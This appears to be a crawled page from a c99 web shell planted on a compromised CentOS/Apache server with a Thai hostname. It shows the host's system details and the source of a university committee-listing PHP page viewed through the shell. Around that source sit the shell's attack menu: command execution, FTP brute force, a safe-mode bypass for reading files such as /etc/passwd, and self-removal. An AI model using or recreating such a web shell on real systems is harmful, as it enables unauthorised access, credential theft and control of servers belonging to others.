!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Develop_person_depart/Committee/   drwxr-xr-x
Free 52.34 GB of 127.8 GB (40.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AllCommitteeList.php (4.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../../include/FunctionDB.php");
ConnectDB();
$sql "Select * From personal_tb Where Permision='2'";
$result mysql_query($sql) or die(" Error1").mysql_error();
//$row  = mysql_fetch_array($result);
//$num = mysql_num_rows($result);
$sql2 "Select * From committee_tb";
$result2 mysql_query($sql2) or die(" Error2").mysql_error();
$num mysql_num_rows($result);
?>
<html>
<head>
<title>Show Personal Lists</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="../../css/style1.css" type="text/css">
</head>

<body bgcolor="#F5FEE9">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
  <tr> 
    <td width="20%" background="../../Image/bart1.jpg" class="table"> <div align="center"><strong><font size="2" face="Tahoma"><a href="../Menu_Develop.php" class="d">กลับหน้าหลัก</a></font></strong></div></td>
    <td width="20%" background="../../Image/bart1.jpg" class="table"> <div align="center" ><strong><font size="2" face="Tahoma"><a href="../../logout.php" class="d">Logout</a></font></strong></div></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699" bgcolor="#EEEEEE" style="border:1px solid gray">
  <tr bgcolor="#AED7FF"> 
    <td height="25" colspan="4"  background="../../Image/bIns.jpg"> <div align="center"><font color="#003366" size="4" face="Tahoma"><strong>ข้อมูลการเป็นกรรมการให้บริการวิชาการแก่สังคม 
        </strong></font></div></td>
  </tr>
  <tr bordercolor="#0066CC" bgcolor="#DFEBF9"> 
    <td width="38" height="26" style="border:1px solid gray"> <div align="center"><font color="#000000" size="2" face="Tahoma">ลำดับ</font></div></td>
    <td width="326" style="border:1px solid gray"> <div align="center"><font color="#000000" size="2" face="Tahoma">ชื่อ-นามสกุล</font></div></td>
    <td width="342" style="border:1px solid gray"> <div align="center"><font color="#000000" size="2" face="Tahoma">ตำแหน่งการบริหาร</font></div></td>
    <td width="290" style="border:1px solid gray"> <div align="center"><font size="2" face="Tahoma">จำนวนระเบียนการเป็นกรรมการบริการแก่สังคม</font></div>
      
    </td>
  </tr>
  <?
  $i 
1;
 while(
$row mysql_fetch_array($result)  )
 {

     if(
$count==0)
     {
?>
  <tr bgcolor="#F9FEFF" onMouseOver="this.style.backgroundColor='#FFFF99'" onMouseOut="this.style.backgroundColor='#F9FEFF'"> 
    <td align=center bordercolor="#EBFAFE"><font size="1" face="Tahoma"><?echo $i?></font></td>
    <td bordercolor="#EBFAFE"><font size="2" face="Tahoma"> <a href="PerCommitList.php?Teacher_code=<? echo $row[Teacher_code]?>" class="black"> 
      <? echo $row[First_name]?>&nbsp;<? echo $row[Teacher_name]?>&nbsp;<? echo $row[Teacher_lastname]?></a></font></td>
    <td bordercolor="#EBFAFE"> <div align="left"><font color="#003366" size="2" face="Tahoma"><? echo $row[Manage_pos]?></font></div></td>
    <td bordercolor="#EBFAFE"><div align="center"><font size="2" face="Tahoma"> 
        <?php
      $Teacher_code 
$row[Teacher_code];
      
$sql1 "Select * From committee_tb Where Teacher_code='$Teacher_code' ";
      
$result1 mysql_query($sql1) or die("Error".mysql_error());
      
$Numcom mysql_num_rows($result1);
      echo
"$Numcom";
      
?>
        </font> </div></td>
  </tr>
  <?
    $count
=1;
     }
else
{
?>
  <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF" onMouseOver="this.style.backgroundColor='#FFFF99'" onMouseOut="this.style.backgroundColor='#FFFFFF'"> 
    <td align="center"><font size="1" face="Tahoma"><?echo $i?></font></td>
    <td><font size="2" face="Tahoma"><a href="PerCommitList.php?Teacher_code=<? echo $row[Teacher_code]?>" class="black"><? echo $row[First_name]?>&nbsp;<? echo $row[Teacher_name]?>&nbsp;<? echo $row[Teacher_lastname]?></a></font></td>
    <td> <div align="left"><font color="#003366" size="2" face="Tahoma"><? echo $row[Manage_pos]?></font></div></td>
    <td><div align="center"><font size="2" face="Tahoma"> 
        <?php
      $Teacher_code 
$row[Teacher_code];
      
$sql1 "Select * From committee_tb Where Teacher_code='$Teacher_code' ";
      
$result1 mysql_query($sql1) or die("Error".mysql_error());
      
$Numcom mysql_num_rows($result1);
      echo
"$Numcom";
      
?>
        </font> </div></td>
  </tr>
  <?
$count
=0;
}
$i++;
 }    
?>
  <tr bordercolor="#0066CC" bgcolor="#DFEBF9"> 
    <td height="26" colspan="4" style="border:1px solid gray"> <div align="center"><strong><font color="#000000" size="2" face="Tahoma">ทั้งหมด</font><font color="#003399" size="2" face="Tahoma"> 
        <? echo $num ?> </font><font color="#003366" size="2" face="Tahoma">คน</font> 
        </strong></div></td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]--